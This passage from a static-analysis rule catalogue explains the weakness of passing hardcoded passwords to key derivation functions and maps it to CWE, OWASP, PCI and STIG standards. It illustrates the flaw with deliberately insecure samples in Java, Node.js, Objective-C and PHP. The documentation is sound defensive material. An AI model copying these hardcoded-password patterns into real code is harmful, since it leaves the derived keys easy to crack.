[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.dotnet.key_management_hardcoded_pbe_password
Abstract
A hardcoded password is used to generate a key from a password-based key derivation function (PBKDF). Providing a hardcoded password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
Never pass a hardcoded value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key is based mostly on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the hardcoded password often cannot be changed without patching the software. If an account protected by a derived key based on a hardcoded password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a hardcoded value as the password argument to a cryptographic PBKDF:


...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("password");
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a hardcoded password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a hardcoded password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the hardcoded password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a hardcoded password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_hardcoded_pbe_password
Abstract
Generating and using a cryptographic key based on a hardcoded password can compromise system security in a way that is not easy to remedy.
Explanation
Never pass a hardcoded value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key is based mostly on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the hardcoded password often cannot be changed without patching the software. If an account protected by a derived key based on a hardcoded password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a hardcoded value as the password argument to a cryptographic PBKDF:


const pbkdfPassword = "a secret";
crypto.pbkdf2(
    pbkdfPassword,
    salt,
    numIterations,
    keyLen,
    hashAlg,
    function (err, derivedKey) { ... }
)


Not only can anyone with access to the code determine that it generates one or more cryptographic keys based on a hardcoded password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a hardcoded password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the hardcoded password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a hardcoded password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_hardcoded_pbe_password
Abstract
Generating and using a cryptographic key based on a hardcoded password may compromise system security in a way that is not easy to remedy.
Explanation
Never pass a hardcoded value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key is based mostly on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the hardcoded password often cannot be changed without patching the software. If an account protected by a derived key based on a hardcoded password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a hardcoded value as the password argument to a cryptographic PBKDF:


...
CCKeyDerivationPBKDF(kCCPBKDF2,
                     "secret",
                     6,
                     salt,
                     saltLen
                     kCCPRFHmacAlgSHA256,
                     100000,
                     derivedKey,
                     derivedKeyLen);
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a hardcoded password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a hardcoded password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the hardcoded password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a hardcoded password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_hardcoded_pbe_password
Abstract
A hardcoded password is used to generate a key from a password-based key derivation function (PBKDF). Providing a hardcoded password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
Never pass a hardcoded value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key is based mostly on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the hardcoded password often cannot be changed without patching the software. If an account protected by a derived key based on a hardcoded password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a hardcoded value as the password argument to a cryptographic PBKDF:


...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "hardcodedpassword");
...


Anyone with access to the code can determine that it generates one or more cryptographic keys based on a hardcoded password argument. Additionally, anyone with even basic cracking techniques might successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a hardcoded password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the hardcoded password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a hardcoded password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
